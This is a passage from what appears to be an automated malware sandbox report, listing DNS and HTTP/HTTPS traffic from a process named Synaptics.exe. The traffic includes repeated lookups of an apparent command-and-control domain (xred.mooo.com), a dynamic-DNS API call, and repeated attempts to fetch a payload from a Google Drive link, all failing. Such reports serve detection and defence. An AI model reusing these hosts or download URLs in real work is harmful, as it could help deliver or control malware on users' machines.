Aug 22, 2024 13:10:46.779470921 CEST	53	53263	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:52.439004898 CEST	62639	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:52.446682930 CEST	53	62639	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:59.300784111 CEST	61707	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:59.308629036 CEST	53	61707	1.1.1.1	192.168.2.8
Aug 22, 2024 13:11:06.142530918 CEST	52359	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:11:06.265065908 CEST	53	52359	1.1.1.1	192.168.2.8
Aug 22, 2024 13:11:10.810524940 CEST	65253	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:11:10.818483114 CEST	53	65253	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 22, 2024 13:10:25.243302107 CEST	192.168.2.8	1.1.1.1	0xf140	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:25.522905111 CEST	192.168.2.8	1.1.1.1	0x250b	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:25.536581993 CEST	192.168.2.8	1.1.1.1	0xbd3e	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:26.550365925 CEST	192.168.2.8	1.1.1.1	0x244b	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:31.910722971 CEST	192.168.2.8	1.1.1.1	0xdb5d	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:36.564476013 CEST	192.168.2.8	1.1.1.1	0x923	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:42.236066103 CEST	192.168.2.8	1.1.1.1	0xcbe6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:46.767117023 CEST	192.168.2.8	1.1.1.1	0xb589	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:52.439004898 CEST	192.168.2.8	1.1.1.1	0x550d	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:59.300784111 CEST	192.168.2.8	1.1.1.1	0x535	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:11:06.142530918 CEST	192.168.2.8	1.1.1.1	0xd8cb	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:11:10.810524940 CEST	192.168.2.8	1.1.1.1	0x7ec3	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 22, 2024 13:10:25.250463963 CEST	1.1.1.1	192.168.2.8	0xf140	No error (0)	docs.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:25.533653021 CEST	1.1.1.1	192.168.2.8	0x250b	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:25.543482065 CEST	1.1.1.1	192.168.2.8	0xbd3e	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:26.557302952 CEST	1.1.1.1	192.168.2.8	0x244b	No error (0)	drive.usercontent.google.com		216.58.212.129	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:31.921871901 CEST	1.1.1.1	192.168.2.8	0xdb5d	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:36.584989071 CEST	1.1.1.1	192.168.2.8	0x923	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:42.244169950 CEST	1.1.1.1	192.168.2.8	0xcbe6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:46.779470921 CEST	1.1.1.1	192.168.2.8	0xb589	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:52.446682930 CEST	1.1.1.1	192.168.2.8	0x550d	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:10:59.308629036 CEST	1.1.1.1	192.168.2.8	0x535	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:11:06.265065908 CEST	1.1.1.1	192.168.2.8	0xd8cb	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:11:10.818483114 CEST	1.1.1.1	192.168.2.8	0x7ec3	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 22, 2024 13:11:28.244925022 CEST	1.1.1.1	192.168.2.8	0xac5b	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 22, 2024 13:11:28.244925022 CEST	1.1.1.1	192.168.2.8	0xac5b	No error (0)	dual.s-part-0039.t-0009.fb-t-msedge.net	s-part-0039.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 22, 2024 13:11:28.244925022 CEST	1.1.1.1	192.168.2.8	0xac5b	No error (0)	s-part-0039.t-0009.fb-t-msedge.net		13.107.253.67	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49713	69.42.215.252	80	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Aug 22, 2024 13:10:25.549490929 CEST	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Aug 22, 2024 13:10:26.149506092 CEST	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 22 Aug 2024 11:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-cVSDvln-LKPboE6qlxLRjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:26 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-YCfhfN8VhsIaJbIUFP9Qfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49719	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:27 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-22 11:10:27 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:27 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-QmURmdfzqar53fGVveW8_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nPPmZn_kGA1Yx6g_-4MDC2FZYXyWcz6inVd83anIb1LYUV8g76tEUOQcdHSmC74aPfA-I8 Server: UploadServer Set-Cookie: NID=516=K7m8tHZDnGq90iUqI5rxOUdUR3R_f_5jU1Zo5TdCu1uY1zr7Yxh7MNjc33tcVZldkKVBHtqy8WCJLZlBfsFY-okGRfCO08RjxLphxxUAK7uFpPpkJ8v8GPRTGO9uC1ZBqG2YsfkMzxwfXEDn2AuwXZYCeg3VOIvIJewm0IN5Lzg; expires=Fri, 21-Feb-2025 11:10:27 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:27 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 47 6c 77 57 31 6b 42 34 31 44 53 77 45 47 43 64 49 66 7a 34 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LGlwW1kB41DSwEGCdIfz4Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-22 11:10:27 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-XUy1VdNMdnX2TLFZIkgPVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49717	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YYi1kyQkyPcNMvfsa-sfsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49720	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:27 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-22 11:10:27 UTC	1592	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:27 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1eRVSGTPtmWRCC3day7AyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOiipjxgvu_exngT88LMTtT77nd2pFAe0iAm_Mzv7rndyqnwZaZmWntq6CUKLRZu0P2j6k6K5Ajnw Server: UploadServer Set-Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8; expires=Fri, 21-Feb-2025 11:10:27 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:27 UTC	1592	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 39 6b 74 56 77 50 32 43 62 6f 4a 4a 4e 53 71 63 54 31 64 66 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="e9ktVwP2CboJJNSqcT1dfA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-22 11:10:27 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49721	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ZCD1IRW4Ah2y4xfIbowFLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49722	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:28 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-08-22 11:10:28 UTC	1584	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:28 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-0KVQ4QIBWTxbyqiByNpBFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNTWaen8wKCJs2dPyp3JKh_Jv5RW-ApRAr4ohrf0r0wY95fB31c69C6qmihL_qpGym0hg Server: UploadServer Set-Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc; expires=Fri, 21-Feb-2025 11:10:28 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:28 UTC	1584	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 43 31 33 5a 48 7a 38 39 5a 31 49 59 55 73 69 4b 68 59 38 6a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vC13ZHz89Z1IYUsiKhY8jA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-22 11:10:28 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49724	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
